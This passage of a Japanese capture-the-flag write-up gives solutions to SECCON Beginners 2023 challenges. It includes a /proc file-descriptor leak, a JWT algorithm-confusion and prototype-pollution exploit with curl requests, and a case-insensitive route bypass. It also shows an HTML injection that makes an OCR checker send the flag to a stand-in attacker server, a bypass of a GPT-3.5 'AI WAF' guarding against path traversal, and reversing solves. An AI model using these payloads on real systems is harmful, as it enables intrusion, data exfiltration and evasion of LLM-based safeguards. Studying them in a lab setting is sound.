後はFFmpegで変換すれば動画が手に入る。

$ ffmpeg -allowed_extensions ALL -i video2.m3u8 -codec copy video.mp4

サーバー側では動画のいくつかのフレームが完全に一致していることを確認しているので、 -codec copy で再エンコード無しで変換する必要がある。同じ理由で画面を録画したりしても通らない。

ctf4b{d1ff1cul7_70_3n5ur3_53cur17y_1n_cl13n7-51d3-4pp5}

treasure (hard)

server.py
import os
import random
import timeout_decorator

def open_as(path: str, fd: int):
  old_fd = os.open(path, os.O_RDONLY)
  os.dup2(old_fd, fd)
  os.close(old_fd)

@timeout_decorator.timeout(60)
def main():
    # ask the path to open
    path = input('path: ')
    if not path.startswith('/proc'):
      exit('[-] path not allowed')
    elif 'flag' in path or '.' in path:
      exit('[-] path not allowed')
    elif not os.path.exists(path):
      exit('[-] file not found')
    elif not os.path.isfile(path):
      exit('[-] not a file')

    # open 'flag' with a random fd
    fd = random.randint(16, pow(2, 16))
    open_as('flag', fd)

    # open path with `fd+1` and read
    open_as(path, fd + 1)
    print(os.read(fd + 1, 256))

    # read from an arbitraly fd
    try:
      fd = int(input('fd: '))
      print(os.read(fd, 256))
    except:
      exit('[-] failed to read')

if __name__ == '__main__':
    try:
        main()
    except timeout_decorator.timeout_decorator.TimeoutError:
        print("Timeout")
  • フラグをランダムなfdで開く
  • /proc 配下の指定したファイルをこのfd+1で開いて出力
  • 指定したfdのファイルを出力

/proc/self/cwd や /proc/self/root があるから任意のディレクトリのファイルが開けるが、 flag. が含まれているかのチェックがあるので、 flagは開けない。

/proc の中にfdが書かれているファイルがあるのかな? でも、それで難易度hardの(解き始めたときの)solve数1桁になるかなぁ……。あったわ。

$ nc treasure.beginners.seccon.games 13778
path: /proc/self/syscall
b'0 0x85c2 0x7f5669e5cb00 0x100 0x0 0x0 0x0 0x7ffec7a916f8 0x7f566a451fac\n'
fd: 34241
b'ctf4b{y0u_f0und_7h3_7r3a5ur3_1n_pr0cf5}\n'

0x85c2 = 34242。

ctf4b{y0u_f0und_7h3_7r3a5ur3_1n_pr0cf5}

web

double check (medium)

index.js
 :
app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});
 :

セッション変数とJWTでごちゃごちゃしている。

署名はRS256なのに、検証ではHS2256も許可されている。HS256は共通鍵なので、public.keyが共通鍵として用いられる。つまり、改竄した署名付きJWTが作れる。

当然 admintrue にしたJWTを作りたいが、二重チェックで消される。

app.post("/test", (req, res) => {
  const user1 = req.body;
  console.log("user1");
  console.dir(user1);
  console.dir(user1.admin)
  const user2 = _.omit(user1, ["admin"]);
  console.log("user2");
  console.dir(user2);
  console.dir(user2.admin)
  const user3 = Object.assign({}, user2);
  console.log("user3");
  console.dir(user3);
  console.dir(user3.admin)

  res.json({ message: "ok" });
});

を追加して色々と試すと、

{
  "__proto__": {
    "admin": 123
  }
}

で、

doublecheck2-app-1    | user1
doublecheck2-app-1    | { ['__proto__']: { admin: 123 } }
doublecheck2-app-1    | undefined
doublecheck2-app-1    | user2
doublecheck2-app-1    | { ['__proto__']: { admin: 123 } }
doublecheck2-app-1    | undefined
doublecheck2-app-1    | user3
doublecheck2-app-1    | {}
doublecheck2-app-1    | 123

となった。なんだこれ……。 Object.assign って所有しているフィールドしかコピーしないのではないの? おかげで解けるからいいか。

app.get("/sign", (req, res) => {
  const signed = jwt.sign(
    '{"__proto__": {"admin": true}}',
    readKeyFromFile("keys/public.key"), 
    { algorithm: "HS256"}
  );
  res.json({signed});
});

を追加して、JWTを作る。オブジェクトの指定だと上手くいかなかったのでJSON文字列に署名。

$ curl \
  --include
  -H 'Content-Type: application/json' \
  -d '{"username": "user", "password": "p@ssw0rd"}' \
  https://double-check.beginners.seccon.games/register
HTTP/1.1 200 OK
Server: nginx/1.25.0
Date: Sat, 03 Jun 2023 17:55:29 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 16
Connection: keep-alive
X-Powered-By: Express
Authorization: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE2ODU4MTQ5MjksImV4cCI6MTY4NTgxODUyOX0.TGUiWBXP-cgWf6XqLkZ578Oyb32pT4F6FknSVRLnb4rjjmtBhdpRT2kztoRG6JUSt86TbjUvvsAYyBm6Eauk3qQaESqbRfh9ENvjNeAI6wQalepOkHMJ-qQNnKtp1D69urTkcrYopDAqjUndX4UHAdCjVuzuvj1coFFT5Ied6Pj2-6OqOzqpoLSJQIhCqKQQQ6qMajZf6tvtV6w1-axJsHvb7zlY68FaDeJh6xY6yERbFF4_hMKU16BWs4AuJcm1L7VZ3wEIABemzItuVOVpDxWpEiNYdbE8jQ5tUmfO6jXg3B3Bm-ZPgsqv0trjxbmF5kBKvXXVeOTtNYqMU9JLyNA9RTjgAc37Uoo7a1jV3MfuilpAelz6gOO-VUOl860-xBm5oFHThz0YvJAtA9OEZMD7h7zDfsuCqZ1xW7T_0T-yfpx6ugcSoAiTvNVm6WuWsMWkkVV-C6aUF1aU1bY4Jh30AuGFMl-jZ3fawFNhc0An0RcaILPSYJnkeTE13rgPv9o6tV3NLGpDkpChZek2Bq_hD6NIKaLD9a1Qx6507IV8OF84jYua9MCIpORIRUskq-wjtvVw1GAwcH_zoZPFJBctK6g9KDmmV1jAerOUSIImQf2skKJbZXpiZ6q2UQ3fn9TEt69SUr-qJh22KJ_HGZtvDqh0micpjmE0NV91gWQ
ETag: W/"10-/VnJyQBB0+b7i4NY83P42KKVWsM"
Set-Cookie: connect.sid=s%3AYk9PHH8kM_THjO2Kzc4L2_YoT-vnzeQK.9vV2bqJoAcxAP%2B7GKXNxIWiAoDsPXEXvaseFd4NEPE0; Path=/; HttpOnly

{"message":"ok"}
$ curl \
  -X POST \
  -H 'Authorization: eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOiB7ImFkbWluIjogdHJ1ZX19.YQs_Ht4cpJO9YeT2fXvDt69om74KJ7RxCgT26mkb0w8' \
  -H 'Cookie: connect.sid=s%3AYk9PHH8kM_THjO2Kzc4L2_YoT-vnzeQK.9vV2bqJoAcxAP%2B7GKXNxIWiAoDsPXEXvaseFd4NEPE0' \
  https://double-check.beginners.seccon.games/flag
Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

Forbidden (beginner)

index.js
 :
const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})
 :

Flag で開けた。

https://forbidden.beginners.seccon.games/Flag

Expressのデフォルトはcase insensitiveらしい。マジで。

caseSensitive
Enable case sensitivity.
Disabled by default, treating “/Foo” and “/foo” as the same.

aiwaf (easy)

app.py
    file = request.args.get("file")
 :
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")
 :

ChatGPTなんて簡単に騙くらかせるだろと思ったけど、これ固いな。あと、WebのChatGPTで試すとけっこう No を返すのに、問題サーバーは全然ダメ。それなのに正解者数は多いのなんなんだ……。

良く見たら、チェックしている文字列とファイルを使っているときに使う文字列は別だったわ。

https://aiwaf.beginners.seccon.games/?a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

正攻法でChatGPTを騙すこともできるらしい。改行がポイントか?

phisher2 (medium)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

過去はこれ。ホモグラフ攻撃。

今回はHTMLにして画像にしてOCRに掛けている。エスケープされないので、インジェクションが可能。

http://myserver.example.com:8888/</p><p style="font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px">https://phisher2.beginners.seccon.games/
$ curl \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"text":"http://myserver.example.com:8888/</p><p style=\"font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px\">https://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games
{"input_url":"http://myserver.example.com:8888/</p><p style=\"font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px\">https://phisher2.beginners.seccon.games/","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/"}
>py -m http.server 8888
Serving HTTP on :: port 8888 (http://[::]:8888/) ...
::xxxx:xxx.xxx.xxx.xxx - - [03/Jun/2023 19:17:36] "GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1" 200 -

ctf4b{w451t4c4t154w?}

reversing

Half (beginner)

バイナリファイルってなんのファイルなのか調べてみよう!
あとこのファイルってどうやって中身を見るんだろう...?

$ strings half
/lib64/ld-linux-x86-64.so.2
libc.so.6
 :
Invalid FLAG
ctf4b{ge4_t0_kn0w_the
_bin4ry_fi1e_with_s4ring3}
Correct!
 :

ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}

Three (easy)

このファイル、中身をちょっと見ただけではフラグは分からないみたい!
バイナリファイルを解析する、専門のツールとか必要かな?

Ghidraで見ると、3個の文字列から1文字ずつ順に取っていってる。

$ hexdump -C three
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  03 00 3e 00 01 00 00 00  c0 10 00 00 00 00 00 00  |..>.............|
 :
00002010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00002020  63 00 00 00 34 00 00 00  63 00 00 00 5f 00 00 00  |c...4...c..._...|
00002030  75 00 00 00 62 00 00 00  5f 00 00 00 5f 00 00 00  |u...b..._..._...|
00002040  64 00 00 00 74 00 00 00  5f 00 00 00 72 00 00 00  |d...t..._...r...|
00002050  5f 00 00 00 31 00 00 00  5f 00 00 00 34 00 00 00  |_...1..._...4...|
00002060  7d 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |}...............|
00002070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00002080  74 00 00 00 62 00 00 00  34 00 00 00 79 00 00 00  |t...b...4...y...|
00002090  5f 00 00 00 31 00 00 00  74 00 00 00 75 00 00 00  |_...1...t...u...|
000020a0  30 00 00 00 34 00 00 00  74 00 00 00 65 00 00 00  |0...4...t...e...|
000020b0  73 00 00 00 69 00 00 00  66 00 00 00 67 00 00 00  |s...i...f...g...|
000020c0  66 00 00 00 7b 00 00 00  6e 00 00 00 30 00 00 00  |f...{...n...0...|
000020d0  61 00 00 00 65 00 00 00  30 00 00 00 6e 00 00 00  |a...e...0...n...|
000020e0  5f 00 00 00 65 00 00 00  34 00 00 00 65 00 00 00  |_...e...4...e...|
000020f0  70 00 00 00 74 00 00 00  31 00 00 00 33 00 00 00  |p...t...1...3...|
00002100  49 6e 76 61 6c 69 64 20  46 4c 41 47 00 43 6f 72  |Invalid FLAG.Cor|
00002110  72 65 63 74 21 00 45 6e  74 65 72 20 74 68 65 20  |rect!.Enter the |
00002120  46 4c 41 47 3a 20 00 25  34 39 73 00 01 1b 03 3b  |FLAG: .%49s....;|
 :

ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}

Poker (medium)

みんなでポーカーで遊ぼう!点数をたくさん獲得するとフラグがもらえるみたい!
でもこのバイナリファイル、動かしてみると...?実行しながら中身が確認できる専門のツールを使ってみよう!

どうせ「たくさんの点数」は普通には取れないのでしょう。実行しながら中身が確認できる専門のツールであるGDBを使った。

$ gdb ./poker
 :
gdb-peda$ set $rip=0x5555555551a0
gdb-peda$ c
Continuing.
[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

Leak (medium)

サーバーから不審な通信を検出しました!
調査したところさらに不審なファイルを発見したので、通信記録と合わせて解析してください。
機密情報が流出してしまったかも...?

プログラムを解析すると、RC4で暗号化している。ただし、初期化の値がRC4とは異なる。

pcapから送信内容を取り出して復号。

solve.py
C = """
8e 57 ff 59 45 da 90 06 28 b2 ab fa 49 73 32 33
4a 73 29 41 3c 34 b7 f6 62 73 25 0f 95 40 16 fa
47 e9 22 8d a5 cd 3d 53 ee b4 b3 51 8e d2 89 93
5b e0 59 cb fb b1 1b
"""
C = bytes.fromhex(C.replace("\n", "").replace(" ", ""))

K = b"KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}"

S = [0]*0x100
for i in range(0x100):
    S[i] = (i+0x35)%0x100
j = 0
for i in range(0x100):
    j = (j+S[i]+K[i%len(K)])%0x100
    S[i], S[j] = S[j], S[i]

P = [0]*len(C)
i = 0
j = 0
for t in range(len(C)):
    i = (i+1)%0x100
    j = (j+S[i])%0x100
    S[i], S[j] = S[j], S[i]
    P[t] = C[t]^S[(S[i]+S[j])%0x100]

print(bytes(P).decode())
$ python3 solve.py
ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

Heaven (hard)

メッセージを暗号化するプログラムを作りました。
解読してみてください!

良く分からん。 encrypt_message という関数があるが呼ばれていない。Ghidraで見ると、 calc_xor は空。 retf という命令が途中あり、Ghidraはここで終わると思っている。しかし、実際に動かすと無視される?

まあ、解析して逆算すれば良い。 print_hexdump は+1した値を出力していることに注意。

solve.py
C = bytes.fromhex("ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f")

S = [
    0xc2, 0x53, 0xbb, 0x80, 0x2e, 0x5f, 0x1e, 0xb5, 0x17, 0x11, 0x00, 0x9e, 0x24, 0xc5, 0xcd, 0xd2,
    0x7e, 0x39, 0xc6, 0x1a, 0x41, 0x52, 0xa9, 0x99, 0x03, 0x69, 0x8b, 0x73, 0x6f, 0xa0, 0xf1, 0xd8,
    0xf5, 0x43, 0x7d, 0x0e, 0x19, 0x94, 0xb9, 0x36, 0x7b, 0x30, 0x25, 0x18, 0x02, 0xa7, 0xdb, 0xb3,
    0x90, 0x98, 0x74, 0xaa, 0xa3, 0x20, 0xea, 0x72, 0xa2, 0x8e, 0x14, 0x5b, 0x23, 0x96, 0x62, 0xa4,
    0x46, 0x22, 0x65, 0x7a, 0x08, 0xf6, 0x12, 0xac, 0x44, 0xe9, 0x28, 0x8d, 0xfe, 0x84, 0xc3, 0xe3,
    0xfb, 0x15, 0x91, 0x3a, 0x8f, 0x56, 0xeb, 0x33, 0x6d, 0x0a, 0x31, 0x27, 0x54, 0xf9, 0x4a, 0xf3,
    0xbf, 0x4b, 0xda, 0x68, 0xa1, 0x3c, 0xff, 0x38, 0xa6, 0x3e, 0xb7, 0xc0, 0x9a, 0x35, 0xca, 0x09,
    0xb8, 0x8c, 0xde, 0x1c, 0x0c, 0x32, 0x2a, 0x0f, 0x82, 0xad, 0x64, 0x45, 0x85, 0xd1, 0xaf, 0xd9,
    0xfc, 0xb4, 0x29, 0x01, 0x9b, 0x60, 0x75, 0xce, 0x4f, 0xc8, 0xcc, 0xe2, 0xe4, 0xf7, 0xd4, 0x04,
    0x67, 0x92, 0xe5, 0xc7, 0x34, 0x0d, 0xf0, 0x93, 0x2c, 0xd5, 0xdd, 0x13, 0x95, 0x81, 0x88, 0x47,
    0x9d, 0x0b, 0x1f, 0x5e, 0x5d, 0xa8, 0xe7, 0x05, 0x6a, 0xed, 0x2b, 0x63, 0x2f, 0x4c, 0xcb, 0xe8,
    0xc9, 0x5a, 0xdc, 0xc4, 0xb0, 0xe1, 0x7f, 0x9f, 0x06, 0xe6, 0x57, 0xbe, 0xbd, 0xc1, 0xec, 0x59,
    0x26, 0xf4, 0xb1, 0x16, 0x86, 0xd7, 0x70, 0x37, 0x4d, 0x71, 0x77, 0xdf, 0xba, 0xf8, 0x3b, 0x55,
    0x9c, 0x79, 0x07, 0x83, 0x97, 0xd6, 0x6e, 0x61, 0x1d, 0x1b, 0xa5, 0x40, 0xab, 0xbc, 0x6b, 0x89,
    0xae, 0x51, 0x78, 0xb6, 0xb2, 0xfd, 0xfa, 0xd3, 0x87, 0xef, 0xee, 0xe0, 0x2d, 0x4e, 0x3f, 0x6c,
    0x66, 0x5c, 0x7c, 0x10, 0xcf, 0x49, 0x48, 0x21, 0x8a, 0x3d, 0xf2, 0x76, 0xd0, 0x42, 0x50, 0x58,
]

P = [(S.index(c)^C[0])+1 for c in C[1:]]
print(bytes(P).decode())
$ python3 solve.py
ctf4b{ld_pr3l04d_15_u53ful}

LD_PRELOADとは……?

ctf4b{ld_pr3l04d_15_u53ful}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?